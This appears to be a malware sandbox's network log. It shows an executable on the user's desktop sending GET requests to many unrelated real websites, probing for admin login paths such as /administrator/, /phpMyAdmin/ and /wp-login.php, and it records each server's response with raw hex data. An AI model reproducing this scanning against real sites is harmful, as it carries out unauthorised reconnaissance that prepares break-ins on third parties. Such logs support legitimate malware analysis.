Nov 26, 2023 06:59:31.787671089 CET	1340	IN	Data Raw: 79 38 68 6f 63 30 62 4c 4a 43 53 43 4a 54 67 4b 4f 52 54 44 6b 64 37 67 4d 30 4e 42 48 41 39 51 2f 75 64 33 66 38 73 77 66 35 78 4d 77 68 34 4b 4f 77 65 65 78 33 69 43 7a 6a 4a 32 55 54 69 70 4a 57 30 71 46 30 58 70 39 76 71 39 76 67 6b 34 73 76 Data Ascii: y8hoc0bLJCSCJTgKORTDkd7gM0NBHA9Q/ud3f8swf5xMwh4KOweex3iCzjJ2UTipJW0qF0Xp9vq9vgk4sv6MONpvSpvUBopqw975WUOdaEvTl8QzUf+rZNrAJnlDaJedxPUKndwo+27w8JkVJfrV4eoMp8PTxxBDjkykoHz71y8z9u/Dtf/t0ElrGUX4tkvkUVFe7mepqPCBdL3+qhOqbFNuEE3j6IHhq5Uj5Uk85zMHnoFj/di

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	55815	18.229.0.171	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.421947956 CET	237	OUT	GET /administrator/ HTTP/1.1 Host: rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.627368927 CET	426	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 26 Nov 2023 05:59:31 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://rechagricola.com.br/administrator/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	55666	133.130.97.143	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.458630085 CET	228	OUT	GET /administrator/ HTTP/1.1 Host: digdig.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.720058918 CET	492	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:31 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.16 Content-Length: 212 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /administrator/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	55906	178.32.41.233	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.534804106 CET	234	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: rochester-gauges.be Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.704914093 CET	546	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sun, 26 Nov 2023 05:55:03 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	55609	117.20.63.148	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.536839008 CET	241	OUT	GET /administrator/ HTTP/1.1 Host: student.debritto.sch.id Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.893018961 CET	877	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.20.1 Date: Sun, 26 Nov 2023 05:59:31 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 546 Connection: keep-alive Keep-Alive: timeout=60 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 73 74 75 64 65 6e 74 2e 64 65 62 72 69 74 74 6f 2e 73 63 68 2e 69 64 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@student.debritto.sch.id to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>
Nov 26, 2023 06:59:31.895240068 CET	306	OUT	GET /administrator/index.php HTTP/1.1 Host: student.debritto.sch.id Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://student.debritto.sch.id/administrator/
Nov 26, 2023 06:59:32.251045942 CET	811	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.20.1 Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 546 Connection: keep-alive Keep-Alive: timeout=60 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 73 74 75 64 65 6e 74 2e 64 65 62 72 69 74 74 6f 2e 73 63 68 2e 69 64 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@student.debritto.sch.id to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	55673	120.88.73.238	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.544866085 CET	239	OUT	GET /administrator/ HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.905981064 CET	404	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sun, 26 Nov 2023 05:59:31 GMT Content-Type: text/html Content-Length: 138 Connection: keep-alive Location: https://my.calvary.qld.edu.au/administrator/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	56009	162.250.126.5	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.676503897 CET	235	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: directlendersllc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.776627064 CET	1003	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 707 date: Sun, 26 Nov 2023 05:59:30 GMT server: LiteSpeed location: https://mydirectlender.com/phpMyAdmin/ Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e 74 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	55992	185.183.156.218	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.750567913 CET	239	OUT	GET /administrator/index.php HTTP/1.1 Host: federwild.at Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.938448906 CET	947	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 26 Nov 2023 05:59:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Last-Modified: Thu, 12 Sep 2019 15:06:38 GMT ETag: W/"3fe-5925c7bf8c9e3" Content-Encoding: gzip Data Raw: 32 35 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 65 53 dd 6b db 30 10 7f f7 5f 71 f3 4b 5f f2 b1 8e 6e 0f c3 0b a4 24 a3 81 76 1d 4d c6 28 a5 0c c5 3a c5 a2 b2 e4 49 a7 ba fe ef 7b b2 92 32 ba 17 1b db fa 7d de b9 ba da dd 5c 2f 8a ea 6a bd 5c f1 6d b7 d9 5d af 17 17 1f 2f e0 87 23 f8 ee a2 95 d5 3c bf 2c aa cb e5 76 0d 8d 47 f5 ad 9c a3 f7 ce ff 91 ae 0e f3 72 51 7d 98 4e 1f b4 02 43 08 9b 35 7c 79 5c 54 f3 74 98 3f 3c a0 95 5a 3d 4e a7 4c 3e 3f 8a 5c de ae ee 93 e4 f9 e2 1f 11 7e 2a 76 0d 82 c7 bf 11 03 a1 04 26 8f 2d 5a 82 5e 04 b0 6c 47 25 3b e0 2c 50 a3 03 04 f4 cf e8 67 45 f5 33 71 dd f1 65 b9 5a dd ad b7 db 45 f1 1b f7 b0 1d 3f 83 60 18 4a f4 bd 36 72 26 88 4d bc 9d 62 8f d9 c8 3c 77 50 a4 18 05 00 4c e1 97 55 ce 53 b4 82 d0 0c 13 b8 d1 b5 77 c1 29 82 86 ad 08 29 d9 9d 80 da 20 1b 00 8b 7d 06 95 0a 05 45 8f 25 90 83 8d 25 f4 16 09 d6 2f 9d 71 9e 8d c2 46 b1 71 04 c2 17 02 a7 32 46 58 18 9b 3c 0b d0 62 08 e2 80 c0 d1 4a 72 0e 42 2b 8c 29 27 10 3a ac b5 d2 35 3f 0d 19 64 f8 24 53 31 f6 f3 f9 27 d8 0f 84 61 f2 bf 20 37 c9 6e 6c c8 18 4d 01 5c 7f 54 3b 69 cd e0 de 45 a8 99 28 9d 4c 94 c9 99 9a 64 c8 3e 12 68 62 67 1d 33 d1 00 e4 75 fd c4 37 07 4a f3 1c 42 af a9 6e 18 6d 0c ca 8c 28 d9 b3 a7 9c e8 a4 11 ca 19 ec 12 71 8b c2 b2 4f a7 a0 76 d1 07 3c aa 8c a2 a1 e1 ba df e1 40 78 84 1a 6d e0 f6 24 a7 04 89 4a 44 43 b3 ac b5 d9 6c 41 98 5e 0c e1 14 f4 3d 7e 64 4e 24 c6 d9 43 06 a1 75 f1 d0 a4 08 ad 78 e2 5d 7d 3f 24 9e 6f d7 0d c9 30 66 40 ef fc 93 f0 e3 de f1 5c 8e 45 04 dd 76 06 bf 42 27 e4 38 d1 71 82 f9 fc 69 88 dc 4d c3 2b b2 d7 07 4e db 8e 5b 6c 34 2b 8e 9b cb f2 5d 0c 0d 97 9b 41 2e ad 51 5a 0d a5 9f 11 1a 5e f2 94 58 70 c7 d4 a3 e1 57 e3 88 a1 d5 56 b7 b1 3d e6 bf 7d eb 71 9c 1b 8f 09 5f 44 4d 66 80 3e b5 3d b8 78 c6 d1 3d 0a a9 4f e9 bd 3e 34 c4 7f 52 9f 29 f8 97 7c 05 7e a9 4a 3b fe 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 25ceSk0_qK_n$vM(:I{2}\/j\m]/#<,vGrQ}NC5\|y\Tt?<Z=NL>?\~*v&-Z^lG%;,PgE3qeZE?`J6r&Mb<wPLUSw)) }E%%/qFq2FX<bJrB+)':5?d$S1'a 7nlM\T;iE(Ld>hbg3u7JBnm(qOv<@xm$JDClA^=~dN$Cux]}?$o0f@\EvB'8qiM+N[l4+]A.QZ^XpWV=}q_DMf>=x=O>4R)\|~J;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	56008	34.208.26.152	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.756050110 CET	231	OUT	GET /phpmyadmin/ HTTP/1.1 Host: micro-design.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.937321901 CET	321	IN	HTTP/1.1 403 Forbidden Date: Sun, 26 Nov 2023 05:59:31 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 94 Content-Type: text/html; charset=iso-8859-1 Data Raw: 46 6f 72 20 73 65 63 75 72 69 74 79 20 72 65 61 73 6f 6e 73 2c 20 74 68 69 73 20 55 52 4c 20 69 73 20 6f 6e 6c 79 20 61 63 63 65 73 73 69 62 6c 65 20 75 73 69 6e 67 20 6c 6f 63 61 6c 68 6f 73 74 20 28 31 32 37 2e 30 2e 30 2e 31 29 20 61 73 20 74 68 65 20 68 6f 73 74 6e 61 6d 65 2e Data Ascii: For security reasons, this URL is only accessible using localhost (127.0.0.1) as the hostname.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	56067	162.241.62.220	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.771070004 CET	296	OUT	GET /administrator/index.php HTTP/1.1 Host: lumaruniformes.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://lumaruniformes.com/administrator/
Nov 26, 2023 06:59:31.887336016 CET	280	IN	HTTP/1.1 409 Conflict Date: Sun, 26 Nov 2023 05:59:31 GMT Server: Apache Content-Length: 83 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	56077	104.26.12.245	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.839076042 CET	231	OUT	GET /wp-login.php HTTP/1.1 Host: hightideinc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.980423927 CET	699	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:31 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Sun, 26 Nov 2023 06:59:31 GMT Location: https://hightideinc.com/wp-login.php Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=weesGW5ANIqz368FmyIk7%2BqeFJ7tcAWLrVuxOjeBbhacvN6j%2B%2FFLgEOd6Xuwp8u5bv3LxfwQ7MSFJeVVQdU808gYQw0fsJEw1a9lkoP98PFYdxtDweJNg5yLKQbCTs9klQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 82bfe7e83ba00a11-IAD Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	56063	103.224.212.226	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.839148998 CET	226	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: ondania.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.005767107 CET	396	IN	HTTP/1.1 302 Found date: Sun, 26 Nov 2023 05:59:31 GMT server: Apache set-cookie: __tad=1700978371.6842526; expires=Wed, 23-Nov-2033 05:59:31 GMT; Max-Age=315360000 location: http://ww38.ondania.com/phpMyAdmin/?subid1=20231126-1659-3187-9499-03d21ba245df content-length: 2 content-type: text/html; charset=UTF-8 connection: close Data Raw: 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
